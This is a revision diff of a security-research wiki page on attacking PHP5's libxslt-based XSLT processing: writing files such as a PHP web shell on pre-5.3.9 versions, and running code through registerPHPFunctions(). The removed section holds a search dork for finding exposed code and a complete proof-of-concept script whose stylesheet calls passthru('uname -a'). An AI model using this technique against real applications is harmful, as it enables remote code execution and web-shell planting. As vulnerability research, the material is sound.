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Changes for page Application_PHP5

Last modified by Nicolas Gregoire on 2012/02/02 17:29
From version Icon 9.1 Icon
edited by Nicolas Gregoire
on 2012/01/13 17:29
Change comment: There is no comment for this version
To version Icon 4.1 Icon
edited by Nicolas Gregoire
on 2012/01/13 16:34
Change comment: There is no comment for this version

Summary

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Content
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4 4  
5 5  == Creating files ==
6 6  
7 -Version 5 of the PHP language uses the [[libxslt>>Engine_libxslt]] engine to transform XML documents using XSLT. Prior to version 5.3.9, calls to libxslt were not restricted via xsltSetSecurityPrefs(). It was then possible to create or overwrite files on the engine side, typically for dropping a PHP Web Shell (cf [[Bug #54446>>https://bugs.php.net/bug.php?id=54446||rel="__blank"]]).
7 +Version 5 of the PHP language uses the [[libxslt>>Engine_libxslt]] engine to transform XML documents using XSLT. Prior to version 5.3.9, calls to libxslt were not restricted via xsltSetSecurityPrefs(). It was then possible to create / overwrite files on the engine side, typically for dropping a PHP Web Shell (cf [[Bug #54446>>https://bugs.php.net/bug.php?id=54446||rel="__blank"]]).
8 8  
9 9  
10 10  The attached [[create-file-via-libxslt.php>>attach:create-file-via-libxslt.php]] PoC will drop a basic PHP script in /tmp/.
11 -
12 -== Executing PHP code ==
13 -
14 -A call to [[registerPHPFunctions()>>http://php.net/manual/en/xsltprocessor.registerphpfunctions.php]] allows to execute standard PHP functions directly from the XSLT stylesheet. I never came across this pattern in real-life engagements but Google Code search references [[several>>http://www.google.com/codesearch#search/&q=registerPHPFunctions%20lang:%5Ephp$&type=cs||rel="__blank"]] instances of it (dork: "registerPHPFunctions lang:^php$").
15 -
16 -
17 -The attached [[execute-code-via-libxslt.php>>attach:execute-code-via-libxslt.php]] PoC will use the passthru() PHP function to execute "uname -a".
Icon execute-code-via-libxslt.php
Author
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1 -xwiki:XWiki.NicolasGregoire
Size
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1 -653 bytes
Content
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1 -<?php
2 -
3 -$sXml = '<empty/>';
4 -
5 -$sXsl = <<<EOT
6 -<xsl:stylesheet xmlns:xsl="http://www.w3.org/1999/XSL/Transform"
7 - xmlns:php="http://php.net/xsl"
8 - version="1.0">
9 -
10 - <xsl:template match="/">
11 - <xsl:value-of select="php:function('passthru', 'uname -a')"/>
12 - </xsl:template>
13 -
14 -</xsl:stylesheet>
15 -EOT;
16 -
17 -# LOAD XML FILE
18 -$XML = new DOMDocument();
19 -$XML->loadXML( $sXml );
20 -
21 -# LOAD XSLT FILE
22 -$XSL = new DOMDocument();
23 -$XSL->loadXML( $sXsl );
24 -
25 -# START XSLT
26 -$xslt = new XSLTProcessor();
27 -$xslt->importStylesheet( $XSL );
28 -
29 -# Register PHP functions as XSLT extensions !
30 -$xslt->registerPHPFunctions();
31 -
32 -# TRASNFORM & PRINT
33 -print $xslt->transformToXML( $XML );
34 -
35 -?>
36 -